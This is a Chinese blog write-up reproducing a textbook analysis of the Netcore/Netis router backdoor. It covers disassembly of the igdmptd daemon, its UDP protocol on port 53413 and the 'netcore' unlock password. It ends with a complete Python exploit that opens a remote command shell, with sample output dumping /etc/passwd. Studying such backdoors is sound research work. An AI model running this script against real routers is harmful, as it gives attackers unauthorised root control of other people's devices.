这里记录一下书中第 14 章 磊科全系列路由器后门漏洞分析的复现过程
这种类型的后门漏洞不同于溢出漏洞,其利用的关键点在于对后门程序的执行流程和通信协议的分析。磊科路由器的这个后门漏洞有执行文件上传和下载、路由器命令及 MPT 命令的功能。
参考链接
漏洞描述
借用书中的话
而且触发这个后门的密码就是netcore
静态分析
所以问题出在IGDMPTD
,该程序绑定的端口是53413
,查看/etc/services
可得到程序与端口绑定的关系
找到与IGDMPTD
的二进制文件find . -name igdmptd
,二进制文件路径:/bin/igdmptd
这里说一下,一开始是在官网下载的固件:NW774-V1.1.29968 升级固件
这个固件虽然和书中使用固件的版本号不同,可该二进制文件igdmptd
基本与书中相同,但是从网上的一些文章来看,更多的选择的上面参考链接中给的固件
main 函数
IDA 打开二进制文件/bin/igdmptd
,main
函数很简单
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int sock_fd; // $s1
fwrite("Create daemon...\r\n", 1u, 0x12u, stderr);
create_daemon();
fwrite("Create server...\r\n", 1u, 0x12u, stderr);
sock_fd = create_server();
fprintf(stderr, "%s\r\n", "IGD MPT Interface daemon 1.0");
operate_loop(sock_fd);
}
先是调用create_daemon
创建了守护进程,然后在create_server
中执行socket()
+bind()
进行了 socket 通信的初始化,最后进行operate_loop
循环处理发来的数据包
create_server 函数
IDA 反编译:
int create_server()
{
int sock_fd; // $s0
bool v1; // dc
int result; // $v0
struct sockaddr v3; // [sp+18h] [-10h] BYREF
sock_fd = socket(2, 1, 17); // 函数原型: int socket(int domain, int type, int protocol);
// socket(AF_INET, SOCK_STREAM, UDP)
if ( sock_fd < 0 )
{
perror("socket");
exit(1);
}
*(_DWORD *)&v3.sa_data[6] = 0;
*(_DWORD *)&v3.sa_data[10] = 0;
v3.sa_family = 2; // 用于指定AF_***表示使用什么协议族的ip
// sa_family = 2,即SOCK_DGRAM ,表示UDP连接
//
*(_WORD *)v3.sa_data = 0xA5D0; // sa_data 存放ip和端口
// 0xd05a = 53413 端口号
// 0x00 ip, 0 = INADDR_ANY, 监听所有地址(外网加内网)
*(_DWORD *)&v3.sa_data[2] = 0;
v1 = bind(sock_fd, &v3, 0x10u) >= 0; // bind API能够将套接字文件描述符、端口号和ip绑定到一起
result = sock_fd;
if ( !v1 )
{
perror("bind");
close(sock_fd);
exit(1);
}
return result;
}
socket()
函数原型:
#include<sys/types.h>
#include<sys/socket.h>
int socket(int domain, int type, int protocol);
// 参数domain用于设置网络通信的域,函数socket()根据这个参数选择通信协议的族
// type用于设置套接字通信的类型,主要有SOCKET_STREAM(流式套接字)、SOCK——DGRAM(数据包套接字)等
// protocol用于制定某个协议的特定类型,即type类型中的某个类型
这里socket(AF_INET, SOCK_STREAM, UDP)
指使用 IPv4 Internet 协议,然后使用 UDP 协议
bind()
函数原型:
#include <sys/types.h>
#include <sys/socket.h>
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
其中比较复杂的是第二个参数对应的结构体sockaddr
如下:
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
sa_family
用于指定 AF_***表示使用什么协议族的 ip,sa_data
存放 ip 和端口
根据上下文,bind(sock_fd, &v3, 0x10u)
就是在53413
端口监听并处理来自所有IP
发来的UDP
数据包
相关宏定义:
/* Socket types. */
#define SOCK_STREAM 1 /* stream (connection) socket */
#define SOCK_DGRAM 2 /* datagram (conn.less) socket */
# define INADDR_ANY ((unsigned long int) 0x00000000)
...
# define INADDR_NONE 0xffffffff
...
# define INPORT_ANY 0
...
operate_loop 函数(协议分析)
这里先引用书中的伪代码,简洁易懂
IDA 里面,operate_loop
函数中有一系列do_
开头的功能函数
从名字来看应该对应了上传文件、下载文件、执行系统命令、执行 mpt 函数、mpt 登陆验证等,也与上面的伪代码一一对应
从漏洞描述中得知netcore
是个关键字符串,在 IDA 中Shift
+F12
打开字符串窗口后搜索netcore
,查看交叉引用
往上回溯到do_mptlogin
,看到这里就很熟悉了,这个函数在operate_loop
中被调用来进行身份认证
现在我们再来看看 IDA 反汇编代码中的一些关键if else
语句
operate_loop 函数精简后的代码
is_login = 0;
while ( 1 )
{
do{
memset(buf, 0, sizeof(buf)); // 将buf置零
num_of_bytes_received = recvfrom(sock_fd, buf, 1500u, 0, &addr_of_from, &addrlen);
}
while ( num_of_bytes_received < 0 );
if ( is_login ){
cmdopt = (BYTE2(buf[0]) << 8) | HIBYTE(HIWORD(buf[0]));// 若第三个字节中全为0,则cmdopt的值就是第四个字节中的值
if ( cmdopt )
{
if ( cmdopt == 1 )
{
do_getfile(); // 文件下载(参数已省略)
}
else if ( cmdopt == 2 )
{
do_putfile(); // 文件上传(参数已省略)
}
else if ( num_of_bytes_received == 8 )
{
//返回空内容
}
else if ( !strcmp((const char *)&buf[2], "?") )// 命令内容为?
{
//返回程序版本信息
}
else
{
if ( SLOBYTE(buf[2]) == '$' ) // 命令内容第一个字节为$
{
do_mptfun(); // 执行MPT功能(参数已省略)
}
else
{
do_syscmd(); // 执行系统命令(参数已省略)
}
}
}
else
{
do_mptlogin() // 执行登陆操作(参数已省略)
}
}
}
这里的BYTE2 HIBYTE HIWORD
是 IDA 中的宏定义
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define BYTE2(x) BYTEn(x, 2)
#define HIBYTE(x) (*((_BYTE*)&(x)+1))
#define HIWORD(x) (*((_WORD*)&(x)+1))
这样协议的结构就很清晰了,这里引用一下书中对operate_loop
函数中协议的分析后得出的数据包结构:
发送结束协议:
Qemu 环境模拟
先用scp
把整个 squashfs 传到系统模式模拟的环境中,然后
cd squashfs-root
chroot . ./bin/igdmptd
即可启动程序,用netstat -an | grep 53413
检查,端口已开启
现成的攻击脚本,来自h00die
import socket
import argparse
import binascii
'''
Example run:
root@rageKali:/media/veracrypt1/stcyr/git/MSF-Testing-Scripts# python netis_backdoor.py 192.168.1.1
Unlocking Backdoor
Quit to quit loop
Netis> ls /tmp/
AuCVM
XqdHc
bVOQm
br_type
bridge_init
cfg-macclone
checkupfile
ddfile
default_rt
dhcpd_action
file.txt
hzbjo
igd_config.old
jiDOo
log
ntp_tmp
passwd
reg_domain
syslogd_support
tmp.txt
update_main
version
wan_type
workmode
Netis> cat /etc/passwd
root:abSQTPcIskFGc:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody:/:
'''
parser = argparse.ArgumentParser(description='Netis backdoor')
parser.add_argument('IP', help='IP of router to connect to')
args = parser.parse_args()
def send(command, print_response = True):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#s.connect((args.IP, 53413))
s.sendto("AA\x00\x00AAAA%s\x00" %(command), (args.IP, 53413))
if print_response:
resp = s.recv(2048)
resp = resp[8:]
if binascii.hexlify(resp) == "000000ff":
print("No response, command not found or error in command")
else:
print(resp)
def login():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#s.connect((args.IP, 53413))
s.sendto("AAAAAAAAnetcore\x00", (args.IP, 53413))
print("Unlocking Backdoor")
login()
input = ""
print("Quit to quit loop")
input = raw_input("Netis> ").strip()
while not input.strip().upper() in ["QUIT","EXIT"]:
send(" " + input)
input = raw_input("Netis> ").strip()
攻击成功
来源:freebuf.com 2021-03-19 21:18:57 by: cougar
请登录后发表评论
注册